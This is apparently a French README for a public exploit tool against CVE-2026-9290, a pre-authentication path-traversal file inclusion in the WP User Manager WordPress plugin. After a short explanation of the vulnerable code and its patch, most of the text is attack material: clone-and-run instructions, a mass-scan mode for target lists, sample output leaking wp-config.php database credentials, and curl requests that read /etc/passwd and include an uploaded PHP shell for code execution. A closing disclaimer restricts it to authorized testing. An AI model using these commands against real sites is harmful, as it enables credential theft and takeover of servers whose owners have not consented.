
Inclusion de fichier local pré-authentification dans WP User Manager <= 2.9.17 via une traversée de chemin dans le paramètre tab (CVSS 7.5)
CVE-2026-9290 est une vulnérabilité de haute sévérité (CVSS 7.5) d'inclusion de fichier local non authentifiée dans le plugin WordPress WP User Manager – User Profile Builder & Membership (≤ 2.9.17).
La fonction wpum_get_active_profile_tab() passe le paramètre de requête tab directement au chargeur de modèles Gamajo sans validation de liste blanche. Les séquences de traversée de chemin dans la valeur permettent à des attaquants non authentifiés d'inclure des fichiers arbitraires du serveur via include() de PHP.
tab| Version de WP User Manager | Statut |
|---|---|
| ≤ 2.9.17 | Vulnérable |
| ≥ 2.9.18 | Corrigé |
Dans includes/functions.php, la fonction wpum_get_active_profile_tab() prend le paramètre de requête tab sans validation de liste blanche :
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
La valeur est passée à Gamajo_Template_Loader::get_template_part() qui résout et inclut le fichier modèle :
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() ne supprime PAS les séquences de traversée de chemin. ../../../wp-config passe.
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
| Fichier | Ligne | Rôle |
|---|---|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — pas de liste blanche |
templates/profile.php | #L52 | Portée du modèle de profil |
class-gamajo-template-loader.php | #L226 | include() non assaini |
La PR #445 ajoute une validation de liste blanche :
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Cible unique (domaine ou IP)
-f, --file Liste de cibles, une par ligne
--read PATH Lire un fichier spécifique via LFI
-o, --output Enregistrer les résultats dans un fichier
--threads Travailleurs (défaut : 25)
-v, --verbose Afficher les détails
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
Étape 1 — Détecter WP User Manager
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
Étape 2 — Trouver la page de profil
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
Étape 3 — LFI via le paramètre tab
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS AUTORISÉS.
Ce logiciel est destiné aux professionnels de la sécurité effectuant des tests de pénétration autorisés, aux organisations auditant leur propre infrastructure et aux chercheurs étudiant l'exploitation des vulnérabilités.
L'accès non autorisé aux systèmes informatiques est illégal et peut violer :
- États-Unis : Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésie : UU ITE Pasal 30 & 46
- Union européenne : Directive 2013/40/UE
- Royaume-Uni : Computer Misuse Act 1990
Les auteurs déclinent toute responsabilité en cas d'utilisation abusive.
| Ressource | Lien |
|---|---|
| Avis GitHub | GHSA-83v9-496w-54wx |
| Avis Wordfence | wordfence.com |
| PR de correctif | GitHub #445 |
| Analyse IONIX | ionix.io |
Ce projet n'est pas affilié à WP User Manager ou Carbon Fields.